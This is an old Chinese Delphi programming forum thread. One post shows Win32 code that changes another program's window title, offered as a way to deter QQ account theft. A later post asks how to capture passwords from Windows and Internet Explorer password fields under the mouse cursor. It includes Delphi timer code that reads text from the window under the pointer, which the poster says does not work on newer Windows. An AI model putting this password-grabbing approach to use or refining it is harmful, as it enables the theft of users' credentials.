导航:
论坛 -> DELPHI技术
斑竹:liumazi,sephil
作者:
2003/10/21 18:14:55
标题:
加入我的收藏
楼主:
为防止QQ被盗,我想写一个程序专门用于修改别的程序的标题。 我应该如何下手?
----------------------------------------------
终极菜鸟
作者:
2003/10/25 18:20:53
1楼:
这个问题我自己已经解决,方法如下: Ver TempH:Hwnd; Begin TempH:=Findwindow(nil,'QQ注册向导'); If TempH<>0 Then Setwindowtext(TempH,'要修改的标题'); end; //就是这么简单,也可以用Sendmessage 实现,不过用Setwindowtext更专业一点!
----------------------------------------------
终极菜鸟
作者:
zizii (高高高级馒头)
★☆☆☆☆
-
神秘会员
2003/10/25 18:31:08
2楼:
有心了,表示赞赏!
----------------------------------------------
维护世界和平,共创美好盒子。
作者:
bios (阿贡)
★☆☆☆☆
-
盒子中级会员
2003/10/26 10:58:42
3楼:
to:kingspider 如何捕获2000下的密码框? 当鼠标在屏幕上移动是只要碰到 WINDOWS窗体的 密码框 或是 IE中是 密码显示的 TEXT框 都得捕获到密码,怎么做? 以下代码在2000,2003,XP下都不行啊? procedure TForm1.Timer1Timer(Sender: TObject); var p:Tpoint;hd:HWND;l:integer;buf:pchar; begin GetCursorPos(p); hd:=WindowFromPoint(p); l:=sendmessage(hd,WM_GETTEXTLENGTH,0,0); getmem(buf,l+2); sendmessage(hd,WM_GETTEXT,l+1,int64(buf)); edit1.Text :=strpas(buf); freemem(buf);end;
----------------------------------------------